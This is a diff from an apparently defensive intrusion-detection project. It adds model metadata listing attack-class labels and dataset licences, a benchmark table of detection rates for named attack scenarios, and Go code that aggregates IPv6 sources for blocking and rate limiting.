+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:c28e54db24a397590bd37b68679444b32b498ef8e5baa74e37689c1b8b5c51ec
3
+ size 82358
models/seq_v1/nf_entity_mono.bin.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"feat": {"dtype": "<i2", "shape": [415], "offset": 0, "nbytes": 830}, "border": {"dtype": "<f4", "shape": [415], "offset": 830, "nbytes": 1660}, "tree_tests": {"dtype": "<i2", "shape": [298, 6], "offset": 2490, "nbytes": 3576}, "leaves": {"dtype": "<f4", "shape": [298, 64, 1], "offset": 6066, "nbytes": 76288}, "bias": {"dtype": "<f4", "shape": [1], "offset": 82354, "nbytes": 4}, "info": {"names": ["src_flows_h1", "src_noreply_h1", "src_synonly_h1", "src_rst_h1", "src_newport_h1", "src_newhost_h1", "src_repeat_h1", "src_short_h1", "src_flows_h2", "src_noreply_h2", "src_synonly_h2", "src_rst_h2", "src_newport_h2", "src_newhost_h2", "src_repeat_h2", "src_short_h2", "src_flows_h3", "src_noreply_h3", "src_synonly_h3", "src_rst_h3", "src_newport_h3", "src_newhost_h3", "src_repeat_h3", "src_short_h3"], "classes": ["benign", "attack"], "meta": {"view": "nf", "variant": "entity_mono", "kind": "detector", "version": "seq_v1", "features": "ent.ANOMALY", "monotone": true, "temperature": 2.216176109074702, "thresholds": {"0.01": 0.1775209891914123, "0.001": 0.8778767000898166, "0.0001": 2.460309327080754}, "entity_horizons_s": [10.0, 120.0, 1800.0], "testbeds": ["simargl2021", "simargl2022", "appraise", "aci2023", "cic2018aws", "lu2020", "lu2021"], "made": "2026-10-31", "data": "licence-clean (roadmap 16)", "licences": {"simargl2021": "cc-by-4.0", "simargl2022": "cc-by-4.0", "appraise": "cc-by-4.0", "aci2023": "cc-by-4.0", "cic2018aws": "cic-unb-cite", "lu2020": "cc-by-sa-4.0", "lu2021": "cc-by-sa-4.0"}, "notice": {"aci2023": {"licence": "cc-by-4.0", "origin": "kaggle:emilynack/aci-iot-network-traffic-dataset-2023", "cite": "Nack et al., 'ACI IoT Network Traffic Dataset 2023', MILCOM 2024; IEEE DataPort doi:10.21227/qacj-3x32"}, "appraise": {"licence": "cc-by-4.0", "origin": "kaggle:ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset", "cite": "ITTI Sp. z o.o., APPRAISE H2020 real labelled NetFlow dataset (Kaggle), CC BY 4.0"}, "cic2018aws": {"licence": "cic-unb-cite", "origin": "https://cse-cic-ids2018.s3.ca-central-1.amazonaws.com (AWS open data, publisher's copy)", "cite": "Sharafaldin, Habibi Lashkari, Ghorbani, ICISSP 2018; CSE-CIC-IDS2018 on AWS, https://registry.opendata.aws/cse-cic-ids2018"}, "lu2020": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "Mills, Marnerides, Broadbent, Race, 'Practical Intrusion Detection of Emerging Threats', IEEE TNSM 2021, doi:10.1109/TNSM.2021.3091517 (LUFlow, CC BY-SA 4.0)"}, "lu2021": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "as lu2020"}, "simargl2021": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2021-network-intrusion-detection-dataset", "cite": "Mihailescu et al., 'The Proposition and Evaluation of the RoEduNet-SIMARGL2021 Network Intrusion Detection Dataset', Sensors 21(13):4319, 2021"}, "simargl2022": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2022", "cite": "H2020 SIMARGL, SIMARGL2022 network traffic dataset (Kaggle h2020simargl/simargl2022), CC BY 4.0"}}}}}
models/seq_v1/nf_entity_mono.npz ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:424343efb9352b030c13cfaa88211ba6297e70f1269cd26de28666118de0f728
3
+ size 17794
models/seq_v1/seq_v1_info.json ADDED
@@ -0,0 +1,36 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "train": {
3
+ "windows": 299592,
4
+ "steps": 3120,
5
+ "train_s": 78,
6
+ "epochs": [
7
+ {
8
+ "epoch": 1,
9
+ "s": 21
10
+ },
11
+ {
12
+ "epoch": 2,
13
+ "s": 40
14
+ },
15
+ {
16
+ "epoch": 3,
17
+ "s": 59
18
+ },
19
+ {
20
+ "epoch": 4,
21
+ "s": 78
22
+ }
23
+ ]
24
+ },
25
+ "path": "/kaggle/temp/seq_models_clean/clean_seqnet.npz",
26
+ "kb": 381.3,
27
+ "params": 95293,
28
+ "parity_max_abs": 4.6253204345703125e-05,
29
+ "flows_per_s_1core_numpy": 130451,
30
+ "thresholds": {
31
+ "0.01": 4.689255714416504,
32
+ "0.001": 6.76589822769165,
33
+ "0.0001": 7.97993803024292
34
+ },
35
+ "temperature": 4.4848122434201265
36
+ }
models/seq_v1/seqnet.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:b8d52c17aad298d5a5af2bb2ce306324aa3c7a16b619f3252b46196eb0f697fe
3
+ size 381172
models/seq_v1/seqnet.bin.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"emb_port": {"dtype": "<f4", "shape": [1280, 16], "offset": 0, "nbytes": 81920}, "emb_proto": {"dtype": "<f4", "shape": [5, 4], "offset": 81920, "nbytes": 80}, "enc.0.w": {"dtype": "<f4", "shape": [64, 85], "offset": 82000, "nbytes": 21760}, "enc.0.b": {"dtype": "<f4", "shape": [64], "offset": 103760, "nbytes": 256}, "enc.1.w": {"dtype": "<f4", "shape": [64, 64], "offset": 104016, "nbytes": 16384}, "enc.1.b": {"dtype": "<f4", "shape": [64], "offset": 120400, "nbytes": 256}, "head.0.w": {"dtype": "<f4", "shape": [64, 64], "offset": 120656, "nbytes": 16384}, "head.0.b": {"dtype": "<f4", "shape": [64], "offset": 137040, "nbytes": 256}, "head.1.w": {"dtype": "<f4", "shape": [41, 64], "offset": 137296, "nbytes": 10496}, "head.1.b": {"dtype": "<f4", "shape": [41], "offset": 147792, "nbytes": 164}, "gru.l0.w_ih": {"dtype": "<f4", "shape": [192, 64], "offset": 147956, "nbytes": 49152}, "gru.l0.w_hh": {"dtype": "<f4", "shape": [192, 64], "offset": 197108, "nbytes": 49152}, "gru.l0.b_ih": {"dtype": "<f4", "shape": [192], "offset": 246260, "nbytes": 768}, "gru.l0.b_hh": {"dtype": "<f4", "shape": [192], "offset": 247028, "nbytes": 768}, "gru.l1.w_ih": {"dtype": "<f4", "shape": [192, 64], "offset": 247796, "nbytes": 49152}, "gru.l1.w_hh": {"dtype": "<f4", "shape": [192, 64], "offset": 296948, "nbytes": 49152}, "gru.l1.b_ih": {"dtype": "<f4", "shape": [192], "offset": 346100, "nbytes": 768}, "gru.l1.b_hh": {"dtype": "<f4", "shape": [192], "offset": 346868, "nbytes": 768}, "ctx.w": {"dtype": "<f4", "shape": [128, 64], "offset": 347636, "nbytes": 32768}, "ctx.b": {"dtype": "<f4", "shape": [128], "offset": 380404, "nbytes": 512}, "ctx_pool_default": {"dtype": "<f4", "shape": [64], "offset": 380916, "nbytes": 256}, "info": {"version": "seq_v1", "kind": "sequence_detector", "K": 32, "d": 64, "families": ["benign", "sqli", "nosqli", "xss", "cmdi", "rce", "traversal", "lfi", "rfi", "ssti", "ssrf", "xxe", "jndi", "deser", "java", "ldapi", "xpathi", "crlf", "redirect", "session", "protocol", "scan", "bot", "attack_generic", "dos", "ddos", "portscan", "bruteforce", "botnet", "infiltration", "exfil", "webattack", "mitm", "recon", "malware", "backdoor", "worm", "fuzzing", "exploit", "lateral"], "numeric": ["log_bytes_in", "log_bytes_out", "log_pkts_in", "log_pkts_out", "log_duration_ms", "log_bpp_in", "log_bpp_out", "pkt_ratio", "noreply", "flags_fin", "flags_syn", "flags_rst", "flags_psh", "flags_ack", "flags_urg", "cflags_fin", "cflags_syn", "cflags_rst", "cflags_psh", "cflags_ack", "cflags_urg", "sflags_fin", "sflags_syn", "sflags_rst", "sflags_psh", "sflags_ack", "sflags_urg", "flags_known", "ent_src_flows_h1", "ent_src_bytes_in_h1", "ent_src_pkts_in_h1", "ent_src_noreply_h1", "ent_src_synonly_h1", "ent_src_rst_h1", "ent_src_newport_h1", "ent_src_newhost_h1", "ent_src_repeat_h1", "ent_src_short_h1", "ent_src_flows_h2", "ent_src_bytes_in_h2", "ent_src_pkts_in_h2", "ent_src_noreply_h2", "ent_src_synonly_h2", "ent_src_rst_h2", "ent_src_newport_h2", "ent_src_newhost_h2", "ent_src_repeat_h2", "ent_src_short_h2", "ent_src_flows_h3", "ent_src_bytes_in_h3", "ent_src_pkts_in_h3", "ent_src_noreply_h3", "ent_src_synonly_h3", "ent_src_rst_h3", "ent_src_newport_h3", "ent_src_newhost_h3", "ent_src_repeat_h3", "ent_src_short_h3", "ent_gap_s", "ent_gap_ewma_s", "ent_dst_flows_h1", "ent_dst_noreply_h1", "ent_dst_newsrc_h1", "ent_dst_flows_h2", "gap_known"], "port_vocab": 1280, "proto_vocab": 5, "temperature": 4.4848122434201265, "testbeds": ["simargl2021", "simargl2022", "appraise", "aci2023", "cic2018aws", "lu2020", "lu2021"], "thresholds": {"0.01": 4.689255714416504, "0.001": 6.76589822769165, "0.0001": 7.97993803024292}, "made": "2026-10-31", "data": "licence-clean (roadmap 16)", "licences": {"simargl2021": "cc-by-4.0", "simargl2022": "cc-by-4.0", "appraise": "cc-by-4.0", "aci2023": "cc-by-4.0", "cic2018aws": "cic-unb-cite", "lu2020": "cc-by-sa-4.0", "lu2021": "cc-by-sa-4.0"}, "notice": {"aci2023": {"licence": "cc-by-4.0", "origin": "kaggle:emilynack/aci-iot-network-traffic-dataset-2023", "cite": "Nack et al., 'ACI IoT Network Traffic Dataset 2023', MILCOM 2024; IEEE DataPort doi:10.21227/qacj-3x32"}, "appraise": {"licence": "cc-by-4.0", "origin": "kaggle:ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset", "cite": "ITTI Sp. z o.o., APPRAISE H2020 real labelled NetFlow dataset (Kaggle), CC BY 4.0"}, "cic2018aws": {"licence": "cic-unb-cite", "origin": "https://cse-cic-ids2018.s3.ca-central-1.amazonaws.com (AWS open data, publisher's copy)", "cite": "Sharafaldin, Habibi Lashkari, Ghorbani, ICISSP 2018; CSE-CIC-IDS2018 on AWS, https://registry.opendata.aws/cse-cic-ids2018"}, "lu2020": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "Mills, Marnerides, Broadbent, Race, 'Practical Intrusion Detection of Emerging Threats', IEEE TNSM 2021, doi:10.1109/TNSM.2021.3091517 (LUFlow, CC BY-SA 4.0)"}, "lu2021": {"licence": "cc-by-sa-4.0", "origin": "kaggle:mryanm/luflow-network-intrusion-detection-data-set", "cite": "as lu2020"}, "simargl2021": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2021-network-intrusion-detection-dataset", "cite": "Mihailescu et al., 'The Proposition and Evaluation of the RoEduNet-SIMARGL2021 Network Intrusion Detection Dataset', Sensors 21(13):4319, 2021"}, "simargl2022": {"licence": "cc-by-4.0", "origin": "kaggle:h2020simargl/simargl2022", "cite": "H2020 SIMARGL, SIMARGL2022 network traffic dataset (Kaggle h2020simargl/simargl2022), CC BY 4.0"}}}}
models/seq_v1/seqnet.npz ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:82bf3aae35b1dc1f1ebb4490760f62bde3871112b9da4d46be88bb63fbd9b68a
3
+ size 390463
reports/benchmark.md ADDED
@@ -0,0 +1,120 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard benchmark
2
+
3
+ made 2026-10-31T08:33:18Z
4
+
5
+ | lab | item | metric | runs | mean | min-max | 95% (pooled) |
6
+ |---|---|---|---|---|---|---|
7
+ | chain | debug_traceTransaction flood | detected | 3 | 1.0 | 1.0-1.0 | |
8
+ | chain | eth_getLogs flood | detected | 3 | 1.0 | 1.0-1.0 | |
9
+ | chain | mempool spam (sendRawTransaction) | detected | 3 | 0.967 | 0.967-0.967 | |
10
+ | db | benign | alarms_per_million_queries | 3 | 0.0 | 0.0-0.0 | |
11
+ | db | benign | sources_enforced | 3 | 0.0 | 0.0-0.0 | |
12
+ | db | blind-sqli-slow-rotating | correct_response | 3 | 1.0 | 1.0-1.0 | |
13
+ | db | blind-sqli-slow-rotating | detected | 3 | 1.0 | 1.0-1.0 | |
14
+ | db | compromised-app-pod-slow-dump | correct_response | 3 | 1.0 | 1.0-1.0 | |
15
+ | db | compromised-app-pod-slow-dump | detected | 3 | 1.0 | 1.0-1.0 | |
16
+ | db | exposed-cassandra-takeover | correct_response | 3 | 1.0 | 1.0-1.0 | |
17
+ | db | exposed-cassandra-takeover | detected | 3 | 1.0 | 1.0-1.0 | |
18
+ | db | exposed-elasticsearch-wipe | correct_response | 3 | 1.0 | 1.0-1.0 | |
19
+ | db | exposed-elasticsearch-wipe | detected | 3 | 1.0 | 1.0-1.0 | |
20
+ | db | exposed-mongo-ransom | correct_response | 3 | 1.0 | 1.0-1.0 | |
21
+ | db | exposed-mongo-ransom | detected | 3 | 1.0 | 1.0-1.0 | |
22
+ | db | exposed-redis-cron-rogue-master | correct_response | 3 | 1.0 | 1.0-1.0 | |
23
+ | db | exposed-redis-cron-rogue-master | detected | 3 | 1.0 | 1.0-1.0 | |
24
+ | db | idor-enumeration-app-shapes | correct_response | 3 | 1.0 | 1.0-1.0 | |
25
+ | db | idor-enumeration-app-shapes | detected | 3 | 1.0 | 1.0-1.0 | |
26
+ | db | nosql-login-bypass-regex-where | correct_response | 3 | 1.0 | 1.0-1.0 | |
27
+ | db | nosql-login-bypass-regex-where | detected | 3 | 1.0 | 1.0-1.0 | |
28
+ | db | postgres-bruteforce-copy-program | correct_response | 3 | 1.0 | 1.0-1.0 | |
29
+ | db | postgres-bruteforce-copy-program | detected | 3 | 1.0 | 1.0-1.0 | |
30
+ | db | sqli-via-legacy-php | correct_response | 3 | 1.0 | 1.0-1.0 | |
31
+ | db | sqli-via-legacy-php | detected | 3 | 1.0 | 1.0-1.0 | |
32
+ | db | stacked-privesc-through-app | correct_response | 3 | 1.0 | 1.0-1.0 | |
33
+ | db | stacked-privesc-through-app | detected | 3 | 1.0 | 1.0-1.0 | |
34
+ | db | stolen-creds-new-host-dump | correct_response | 3 | 1.0 | 1.0-1.0 | |
35
+ | db | stolen-creds-new-host-dump | detected | 3 | 1.0 | 1.0-1.0 | |
36
+ | hard12 | AI scraper | final_recall | 3 | 1.0 | 1.0-1.0 | |
37
+ | hard12 | API enumeration | final_recall | 3 | 0.978667 | 0.973-0.983 | |
38
+ | hard12 | Log4Shell | final_recall | 3 | 1.0 | 1.0-1.0 | |
39
+ | hard12 | NTP amplification | final_recall | 3 | 1.0 | 1.0-1.0 | |
40
+ | hard12 | SSH brute force | final_recall | 3 | 1.0 | 1.0-1.0 | |
41
+ | hard12 | WordPress exploit | final_recall | 3 | 1.0 | 1.0-1.0 | |
42
+ | hard12 | benign | benign_blocked_total_flow | 3 | 0.0 | 0.0-0.0 | |
43
+ | hard12 | benign | benign_blocked_total_http | 3 | 0.0 | 0.0-0.0 | |
44
+ | hard12 | benign | benign_fpr_src_min_flow | 3 | 0.001087 | 0.00094-0.00133 | |
45
+ | hard12 | benign | benign_fpr_src_min_http | 3 | 0.000997 | 0.00066-0.00122 | |
46
+ | hard12 | credential stuffing | final_recall | 3 | 1.0 | 1.0-1.0 | |
47
+ | hard12 | evolving scan | final_recall | 3 | 1.0 | 1.0-1.0 | |
48
+ | hard12 | feedback | feedback_precision | 3 | 0.993333 | 0.991-0.995 | |
49
+ | hard12 | peer flood | final_recall | 3 | 1.0 | 1.0-1.0 | |
50
+ | hard12 | rapid reset | final_recall | 3 | 1.0 | 1.0-1.0 | |
51
+ | lab6 | AI scraper (GPTBot) | recall | 3 | 1.0 | 1.0-1.0 | |
52
+ | lab6 | API enumeration / BOLA | recall | 3 | 0.979333 | 0.978-0.981 | |
53
+ | lab6 | HTTP/2 rapid reset flood | recall | 3 | 0.98 | 0.955-1.0 | |
54
+ | lab6 | Log4Shell / JNDI | recall | 3 | 1.0 | 1.0-1.0 | |
55
+ | lab6 | NTP amplification | recall | 3 | 1.0 | 1.0-1.0 | |
56
+ | lab6 | SSH brute force | recall | 3 | 0.945333 | 0.898-0.979 | |
57
+ | lab6 | WordPress exploit wave | recall | 3 | 1.0 | 1.0-1.0 | |
58
+ | lab6 | chain peer flood | recall | 3 | 0.875 | 0.742-0.955 | |
59
+ | lab6 | credential stuffing | recall | 3 | 0.984 | 0.982-0.986 | |
60
+ | lab6 | slow scan | recall | 3 | 0.935 | 0.88-1.0 | |
61
+ | net:hosting | SSH guessing on tenant management (40 hosts) | recall | 3 | 1.0 | 1.0-1.0 | [0.969, 1.0] |
62
+ | net:hosting | benign | alarm_per_source_minute | 3 | 0.000957 | 0.0-0.002439 | |
63
+ | net:hosting | benign | sources_enforced | 3 | 0.0 | 0.0-0.0 | |
64
+ | net:hosting | flood on one tenant (800 bots) | recall | 3 | 0.991333 | 0.99-0.993 | [0.9867, 0.9943] |
65
+ | net:hosting | slow distributed scan of the range (500 hosts) | recall | 3 | 0.918 | 0.894-0.948 | [0.903, 0.9308] |
66
+ | net:office | Kerberoasting burst | recall | 3 | 1.0 | 1.0-1.0 | [0.4385, 1.0] |
67
+ | net:office | LDAP enumeration | recall | 3 | 1.0 | 1.0-1.0 | [0.4385, 1.0] |
68
+ | net:office | RDP password spraying (20 hosts) | recall | 3 | 1.0 | 1.0-1.0 | [0.9398, 1.0] |
69
+ | net:office | SMB lateral movement (one host to many) | recall | 3 | 1.0 | 1.0-1.0 | [0.4385, 1.0] |
70
+ | net:office | benign | alarm_per_source_minute | 3 | 0.00014 | 2.8e-05-0.000279 | |
71
+ | net:office | benign | sources_enforced | 3 | 0.0 | 0.0-0.0 | |
72
+ | net:ot | MQTT connection flood (300 hosts) | recall | 3 | 0.839 | 0.517-1.0 | [0.8134, 0.8615] |
73
+ | net:ot | benign | alarm_per_source_minute | 3 | 1.2e-05 | 0.0-3.6e-05 | |
74
+ | net:ot | benign | sources_enforced | 3 | 0.0 | 0.0-0.0 | |
75
+ | net:ot | internal PLC subnet scan from an HMI | recall | 3 | 1.0 | 1.0-1.0 | [0.4385, 1.0] |
76
+ | net:ot | telnet/ssh guessing from the internet (60 bots) | recall | 3 | 1.0 | 1.0-1.0 | [0.9791, 1.0] |
77
+ | net:ot | unauthorised Modbus writes to a PLC | recall | 3 | 1.0 | 1.0-1.0 | [0.4385, 1.0] |
78
+ | platform:drupal | Drupalgeddon2 RCE | detected | 3 | 1.0 | 1.0-1.0 | |
79
+ | platform:drupal | benign | sources_blocked | 3 | 0.0 | 0.0-0.0 | |
80
+ | platform:drupal | login brute force | detected | 3 | 0.93 | 0.92-0.95 | |
81
+ | platform:generic | Log4Shell | detected | 3 | 1.0 | 1.0-1.0 | |
82
+ | platform:generic | SQL injection | detected | 3 | 1.0 | 1.0-1.0 | |
83
+ | platform:generic | benign | sources_blocked | 3 | 0.0 | 0.0-0.0 | |
84
+ | platform:generic | directory scan | detected | 3 | 0.984 | 0.984-0.984 | |
85
+ | platform:generic | path traversal | detected | 3 | 1.0 | 1.0-1.0 | |
86
+ | platform:joomla | Joomla SQLi (com_fields) | detected | 3 | 1.0 | 1.0-1.0 | |
87
+ | platform:joomla | admin brute force | detected | 3 | 0.91 | 0.91-0.91 | |
88
+ | platform:joomla | benign | sources_blocked | 3 | 0.0 | 0.0-0.0 | |
89
+ | platform:jsonapi | BOLA / IDOR enumeration | detected | 3 | 0.958 | 0.958-0.958 | |
90
+ | platform:jsonapi | NoSQL injection | detected | 3 | 1.0 | 1.0-1.0 | |
91
+ | platform:jsonapi | benign | sources_blocked | 3 | 0.0 | 0.0-0.0 | |
92
+ | platform:jsonapi | mass assignment / scraping | detected | 3 | 0.988 | 0.988-0.988 | |
93
+ | platform:wordpress | benign | sources_blocked | 3 | 0.0 | 0.0-0.0 | |
94
+ | platform:wordpress | plugin RCE probe | detected | 3 | 1.0 | 1.0-1.0 | |
95
+ | platform:wordpress | user enumeration | detected | 3 | 1.0 | 1.0-1.0 | |
96
+ | platform:wordpress | wp-login brute force | detected | 3 | 1.0 | 1.0-1.0 | |
97
+ | platform:wordpress | xmlrpc amplification | detected | 3 | 1.0 | 1.0-1.0 | |
98
+ | slow | C1 ssh botnet brute force (400 hosts) | delay_min | 3 | 4.7 | 4.4-5.0 | |
99
+ | slow | C1 ssh botnet brute force (400 hosts) | member_recall | 3 | 1.0 | 1.0-1.0 | [0.9968, 1.0] |
100
+ | slow | C2 database-port scan (1500 hosts) | delay_min | 3 | 8.266667 | 6.4-11.7 | |
101
+ | slow | C2 database-port scan (1500 hosts) | member_recall | 3 | 0.958867 | 0.9533-0.968 | [0.9527, 0.9643] |
102
+ | slow | C3 slow telnet scan (150 hosts) | delay_min | 3 | 15.333333 | 12.1-17.0 | |
103
+ | slow | C3 slow telnet scan (150 hosts) | member_recall | 3 | 0.9533 | 0.9533-0.9533 | [0.9297, 0.9693] |
104
+ | slow | C4 credential stuffing (3000 proxies) | delay_min | 3 | 0.033333 | 0.0-0.1 | |
105
+ | slow | C4 credential stuffing (3000 proxies) | member_recall | 3 | 1.0 | 1.0-1.0 | [0.9996, 1.0] |
106
+ | slow | C5 sensitive-file probing (800 hosts) | delay_min | 3 | 0.0 | 0.0-0.0 | |
107
+ | slow | C5 sensitive-file probing (800 hosts) | member_recall | 3 | 1.0 | 1.0-1.0 | [0.9984, 1.0] |
108
+ | slow | benign | alarm_per_source_minute | 3 | 0.005954 | 0.005264-0.006654 | |
109
+ | slow | benign | sources_enforced | 3 | 0.0 | 0.0-0.0 | |
110
+
111
+ ## Real data
112
+
113
+ - **SQLi (ModSecurity 2025, visible payloads)**: {"rate": 1.0, "k": 1671, "n": 1671, "ci95": [0.99771, 1.0]}
114
+ - **SQLi (ModSecurity 2025, all CRS labels)**: {"rate": 0.53147, "k": 1714, "n": 3225, "ci95": [0.51422, 0.54865]}
115
+ - **SQLi (SR-BH 2020 WordPress)**: {"rate": 0.60823, "k": 6013, "n": 9886, "ci95": [0.59857, 0.61781]}
116
+ - **false alarms (zanbil.ir benign)**: {"rate": 0.00013, "k": 10, "n": 80000, "ci95": [7e-05, 0.00023]}
117
+ - **false alarms (SR-BH 2020 benign; all flagged rows contain SQL probes)**: {"rate": 0.00583, "k": 18, "n": 3085, "ci95": [0.00369, 0.0092]}
118
+ - **DbNet+signatures, unseen query templates (TPR / FPR after per-DB calibration)**: {"rate": 0.9833, "fpr": 0.0}
119
+ - **DbNet alone, unseen injection techniques (TPR)**: {"rate": 0.7433}
120
+ - **vs libinjection**: {"made": "2026-10-31T00:09:09Z", "modsec2025_sqli_visible": {"n": 1671, "libinjection": {"rate": 0.98564, "ci95": [0.97872, 0.99033], "us_per_req": 166.9}, "dibaguard": {"rate": 1.0, "ci95": [0.99771, 1.0], "us_per_req": 1206.7}, "only_libinjection": 0, "only_dibaguard": 24, "examples_only_libinject
runtime/go/aggregate.go ADDED
@@ -0,0 +1,164 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ import (
4
+ "net/netip"
5
+ "strings"
6
+ )
7
+
8
+ // Aggregation groups IPv6 sources for enforcement. An IPv6 client usually owns a whole /64 and can rotate its
9
+ // address inside it at will, so a decision about one address is applied to its network. Bits of 0 or 128 mean per
10
+ // address. IPv4 sources are never grouped.
11
+ type Aggregation struct {
12
+ BlockBits int // a sidecar block on an IPv6 address covers its /BlockBits (the commands default to 64)
13
+ RateBits int // rate-limit entries and token buckets per /RateBits (the commands default to per address)
14
+ }
15
+
16
+ // netOf is the /bits network of an IPv6 address (false for IPv4, unparsable text, or no grouping).
17
+ func netOf(ip string, bits int) (netip.Prefix, bool) {
18
+ if bits <= 0 || bits >= 128 || strings.IndexByte(ip, ':') < 0 {
19
+ return netip.Prefix{}, false
20
+ }
21
+ a, err := netip.ParseAddr(ip)
22
+ if err != nil {
23
+ return netip.Prefix{}, false
24
+ }
25
+ a = a.Unmap().WithZone("")
26
+ if !a.Is6() {
27
+ return netip.Prefix{}, false
28
+ }
29
+ p, err := a.Prefix(bits)
30
+ return p, err == nil
31
+ }
32
+
33
+ // RateKey is the token-bucket key of a source: its /RateBits network for IPv6 when grouping, else the address.
34
+ func (g Aggregation) RateKey(ip string) string {
35
+ if p, ok := netOf(ip, g.RateBits); ok {
36
+ return p.String()
37
+ }
38
+ return ip
39
+ }
40
+
41
+ // Key is what a standing decision about src covers: its /bits network for an IPv6 address when grouping that
42
+ // action, else src itself.
43
+ func (g Aggregation) Key(action, src string) string {
44
+ bits := 0
45
+ switch action {
46
+ case ActionBlock:
47
+ bits = g.BlockBits
48
+ case ActionRateLimit:
49
+ bits = g.RateBits
50
+ }
51
+ if p, ok := netOf(src, bits); ok {
52
+ return p.String()
53
+ }
54
+ return src
55
+ }
56
+
57
+ type netSet struct {
58
+ m map[netip.Prefix]float64 // network -> latest deadline
59
+ bits4, bits6 []int // prefix lengths present
60
+ }
61
+
62
+ func (n *netSet) add(p netip.Prefix, until float64) {
63
+ if n.m == nil {
64
+ n.m = map[netip.Prefix]float64{}
65
+ }
66
+ p = p.Masked()
67
+ if old, ok := n.m[p]; !ok || until > old {
68
+ n.m[p] = until
69
+ }
70
+ bits := &n.bits4
71
+ if p.Addr().Is6() {
72
+ bits = &n.bits6
73
+ }
74
+ for _, b := range *bits {
75
+ if b == p.Bits() {
76
+ return
77
+ }
78
+ }
79
+ *bits = append(*bits, p.Bits())
80
+ }
81
+
82
+ func (n *netSet) has(a netip.Addr, now float64) bool {
83
+ bits := n.bits4
84
+ if a.Is6() {
85
+ bits = n.bits6
86
+ }
87
+ for _, b := range bits {
88
+ if p, err := a.Prefix(b); err == nil {
89
+ if until, ok := n.m[p]; ok && until > now {
90
+ return true
91
+ }
92
+ }
93
+ }
94
+ return false
95
+ }
96
+
97
+ // StateIndex is the network view of a fast-state snapshot: its CIDR entries ("10.0.0.0/8", "2001:db8::/48") and,
98
+ // with aggregation, the networks of its IPv6 entries, so a lookup by address also finds the networks the address
99
+ // belongs to. Exact entries stay in the snapshot's maps. A nil index (nothing to index) costs nothing.
100
+ type StateIndex struct {
101
+ sets [3]netSet // block, challenge, rate_limit
102
+ }
103
+
104
+ // BuildStateIndex indexes a snapshot (nil when it holds no networks).
105
+ func BuildStateIndex(snap StateSnapshot, g Aggregation) *StateIndex {
106
+ x := &StateIndex{}
107
+ n := 0
108
+ group := [3]int{g.BlockBits, 0, g.RateBits} // challenges stay per address (the cookie is per address)
109
+ for i, m := range [3]map[string]float64{snap.Block, snap.Challenge, snap.RateLimit} {
110
+ for k, until := range m {
111
+ if strings.IndexByte(k, '/') >= 0 {
112
+ if p, err := netip.ParsePrefix(k); err == nil {
113
+ if p.Addr().Is4In6() && p.Bits() >= 96 {
114
+ p = netip.PrefixFrom(p.Addr().Unmap(), p.Bits()-96)
115
+ }
116
+ x.sets[i].add(p, until)
117
+ n++
118
+ }
119
+ continue
120
+ }
121
+ if p, ok := netOf(k, group[i]); ok {
122
+ x.sets[i].add(p, until)
123
+ n++
124
+ }
125
+ }
126
+ }
127
+ if n == 0 {
128
+ return nil
129
+ }
130
+ return x
131
+ }
132
+
133
+ // Action is the strongest standing decision the indexed networks give ip at now (allow when none).
134
+ func (x *StateIndex) Action(ip string, now float64) string {
135
+ if x == nil {
136
+ return ActionAllow
137
+ }
138
+ a, err := netip.ParseAddr(ip)
139
+ if err != nil {
140
+ return ActionAllow
141
+ }
142
+ a = a.Unmap().WithZone("")
143
+ for i, act := range [3]string{ActionBlock, ActionChallenge, ActionRateLimit} {
144
+ if x.sets[i].has(a, now) {
145
+ return act
146
+ }
147
+ }
148
+ return ActionAllow
149
+ }
150
+
151
+ var actionRank = map[string]int{ActionAllow: 0, ActionRateLimit: 1, ActionChallenge: 2, ActionBlock: 3}
152
+
153
+ // LookupSource is the standing decision for ip: its exact entries in the fast-state maps and the networks of the
154
+ // index, the strongest one winning.
155
+ func LookupSource(block, challenge, rateLimit map[string]float64, idx *StateIndex, ip string, now float64) string {
156
+ act := SourceAction(block, challenge, rateLimit, ip, now)
157
+ if act == ActionBlock || idx == nil {
158
+ return act
159
+ }
160
+ if n := idx.Action(ip, now); actionRank[n] > actionRank[act] {
161
+ return n
162
+ }
163
+ return act
164
+ }
